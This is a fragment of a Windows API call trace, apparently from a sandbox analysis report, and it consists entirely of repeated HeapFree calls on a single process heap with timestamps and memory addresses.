	[0062.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.180] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.181] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.183] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.184] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.185] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.187] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.188] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.238] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.241] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.242] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0062.246] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42739c8 | out: hHeap=0x4f0000) returned 1
	[0062.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.253] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.259] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.268] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e3a00 | out: hHeap=0x4f0000) returned 1
	[0062.272] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.282] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.284] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.294] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.295] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42c39f0 | out: hHeap=0x4f0000) returned 1
	[0062.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.302] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.303] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.308] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42b39e8 | out: hHeap=0x4f0000) returned 1
	[0062.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.309] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.750] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.751] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x4f0000) returned 1
	[0062.752] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0062.760] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0062.767] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0062.768] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0062.771] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0063.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.927] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.930] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39f8 | out: hHeap=0x4f0000) returned 1
	[0063.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0063.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0063.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0063.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42639c0 | out: hHeap=0x4f0000) returned 1
	[0063.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0063.945] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x4f0000) returned 1
	[0063.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0064.980] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0064.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39f8 | out: hHeap=0x4f0000) returned 1
	[0064.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0064.984] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0064.987] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0065.596] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0065.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42d39f0 | out: hHeap=0x4f0000) returned 1
	[0065.600] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0065.604] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0065.616] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0065.622] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0066.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0066.889] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0067.436] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0067.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0067.437] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0067.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0067.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42939d8 | out: hHeap=0x4f0000) returned 1
	[0068.618] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0068.619] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0068.639] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0068.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0068.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0068.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0068.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0068.678] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0068.679] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0068.681] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42e39e8 | out: hHeap=0x4f0000) returned 1
	[0068.684] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.621] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.623] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.626] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.633] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.634] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.638] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.641] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.642] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.649] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.651] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0069.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.143] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.145] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.147] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.148] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.150] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.153] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.155] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.157] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.159] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.161] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0070.165] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.342] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.344] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.346] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.348] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.350] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.352] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.355] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.357] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.359] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.361] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.362] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.364] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.366] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.369] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.371] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.761] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.763] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.764] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x437d640 | out: hHeap=0x4f0000) returned 1
	[0071.766] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.772] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x431c220 | out: hHeap=0x4f0000) returned 1
	[0071.774] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.776] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.778] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.782] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.789] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.792] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.794] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.932] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.934] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.940] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.942] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.943] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.944] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.946] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.948] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0071.949] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.247] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.249] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.251] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.252] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.256] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.258] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.260] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.262] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.265] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.267] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.269] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.271] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.273] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.276] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.277] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0072.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
